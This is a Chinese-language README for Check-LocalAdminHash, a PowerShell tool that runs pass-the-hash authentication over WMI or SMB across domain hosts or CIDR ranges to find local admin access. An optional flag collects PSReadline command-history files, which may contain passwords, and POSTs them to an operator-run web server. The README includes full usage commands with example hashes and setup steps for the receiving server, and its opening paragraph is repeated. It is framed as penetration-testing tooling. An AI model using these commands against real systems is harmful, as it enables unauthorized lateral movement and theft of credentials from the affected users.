
Check-LocalAdminHash 是一个 PowerShell 工具,它尝试通过 WMI 或 SMB 使用密码哈希对多个主机进行身份验证,以判断提供的凭据是否为本地管理员。当你获取到某个用户的密码哈希,并想查看他们在网络中的本地管理员位置时,这个工具非常有用。它本质上是我最喜欢的两个工具与我自己的一些代码的混合体。它利用 Kevin Robertson(@kevin_robertson)的 Invoke-TheHash 项目进行凭据检查部分。此外,该脚本还利用 Will Schroeder(@harmj0y)和 Matt Graeber(@mattifestation)的 PowerView 中的模块来枚举域计算机,以寻找测试管理员访问权限的目标。
Check-LocalAdminHash 是一个 PowerShell 工具,它尝试通过 WMI 或 SMB 使用密码哈希向多个主机进行身份验证,以确定所提供的凭据是否为本地管理员。当你获取到某个用户的密码哈希,并想查看该用户在网络中的哪些主机上是本地管理员时,这个工具非常有用。它本质上是我最喜欢的两款工具与我自身部分代码的“弗兰肯斯坦”式结合。它利用 Kevin Robertson(@kevin_robertson)的 Invoke-TheHash 项目进行凭据检查部分。此外,该脚本还使用了 Will Schroeder(@harmj0y)和 Matt Graeber(@mattifestation)的 PowerView 中的模块来枚举域计算机,以查找用于测试管理员访问权限的目标。
这个脚本之所以存在,是因为在一次评估中,我想从网络中所有系统收集 PowerShell 控制台历史文件(PSReadline)。PSReadline 控制台历史本质上就是 PowerShell 版的 bash 历史记录。它可以包含用户在终端中输入的许多有趣内容,包括密码。因此,本脚本中还包含一个选项,可以一并导出所有 PSReadline 文件。这需要一些前期配置,请参见自述文件末尾的配置说明。
更多信息请阅读博客:https://www.blackhillsinfosec.com/check-localadminhash-exfiltrating-all-powershell-history/
以下命令将使用域 'testdomain.local' 查找所有系统,然后尝试使用用户 'testdomain.local\PossibleAdminUser' 和密码哈希通过 WMI 对每个系统进行身份验证。
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems
以下命令将使用域 'testdomain.local' 查找所有系统,然后尝试使用用户 'testdomain.local\PossibleAdminUser' 和密码哈希通过 WMI 对每个系统进行身份验证。接着,它会在每个系统上为每个用户配置文件查找 PowerShell 控制台历史文件(PSReadline),并通过 POST 方式发送到 Web 服务器。有关服务器配置,请参见自述文件末尾。
Check-LocalAdminHash -Domain testdomain.local -UserDomain testdomain.local -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -AllSystems -ExfilPSReadline
以下命令将使用提供的 CIDR 范围生成目标列表,然后尝试使用本地用户 'PossibleAdminUser' 和密码哈希通过 WMI 对每个目标进行身份验证。
Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -CIDR 192.168.1.0/24
以下命令将使用提供的目标列表,并尝试使用本地用户 'PossibleAdminUser' 和密码哈希通过 SMB 对每个主机进行身份验证。
Check-LocalAdminHash -Username PossibleAdminUser -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -TargetList C:\temp\targetlist.txt -Protocol SMB | Out-File -Encoding Ascii C:\temp\local-admin-systems.txt
以下命令尝试使用用户 Administrator 对系统 192.168.0.16 通过 SMB 进行本地身份验证。
Check-LocalAdminHash -TargetSystem 192.168.0.16 -Username Administrator -PasswordHash E62830DAED8DBEA4ACD0B99D682946BB -Protocol SMB
Username - 用于尝试身份验证的用户名。
PasswordHash - 用户的密码哈希。
TargetSystem - 单个主机名或 IP 用于身份验证尝试。
TargetList - 要扫描的主机列表,每行一个。
AllSystems - 一个开关,启用后利用 PowerView 模块枚举所有域系统。然后使用此列表检查本地管理员访问权限。
Domain - PowerView 用于发现系统的域。
UserDomain - 用于向每个系统进行身份验证的用户域。如果使用本地凭据而非域凭据,请勿使用此标志。
Protocol - 此设置用于决定是使用 WMI 还是 SMB 检查哈希。默认为 'WMI',可设置为 'SMB' 以改用 SMB。
CIDR - 指定一个 CIDR 格式的网络范围,例如 192.168.0.0/24
Threads - 默认为 5 个线程。(将线程数设置为超过 15 时,我遇到了一些奇怪的问题,部分结果无法返回。)
ExfilPSReadline - 对于每个身份验证成功的系统,运行一条 PowerShell 命令来定位 PSReadLine 控制台历史文件(PowerShell 命令历史),然后通过 POST 发送到 Web 服务器。有关服务器配置,请参见自述文件。
这是给你的警告:你将设置一个面向互联网的服务器,用于接收文件上传。通常,这是一件非常危险的事情。因此,一定要采取预防措施。我建议锁定防火墙规则,只允许将要上传 PSReadline 文件的 IP 访问 Web 服务器。另外,既然谈到安全问题,使用 HTTPS 连接同样可行,因此请设置好你的域名和证书,以便 PSReadline 文件通过加密方式在网络中传输。你已经得到警告了...
在你想接收文件的位置设置一台服务器。该服务器必须能够通过 HTTP/HTTPS 从每个系统访问。
从本仓库复制 index.php 脚本,并将其放置在 Web 服务器的根目录下的 index.php 中(/var/www/html)。
创建一个 uploads 目录
mkdir /var/www/html/uploads
chmod 0777 /var/www/html/uploads
apt-get install php
service apache2 restart
现在,当你使用 -ExfilPSReadline 标志运行 Check-LocalAdminHash 时,它应该会尝试将每个 PSReadline 文件(如果有的话)POST 到你的 Web 服务器。
Check-LocalAdminHash 基本上是我最喜欢的两款工具 PowerView 和 Invoke-TheHash 的“弗兰肯斯坦”式结合。其中 95% 的代码来自这两款工具。因此,功劳归于 Kevin Robertson(@kevin_robertson)的 Invoke-TheHash,以及 Will Schroeder(@harmj0y)、Matt Graeber(@mattifestation)(以及所有参与 PowerView 开发的人)。没有这两款工具,这个脚本就不会存在。同时还要感谢 Steve Borosh(@424f424f)在线程方面的帮助,以及他作为一个全面优秀的人。
Invoke-TheHash - https://github.com/Kevin-Robertson/Invoke-TheHash
PowerView - https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1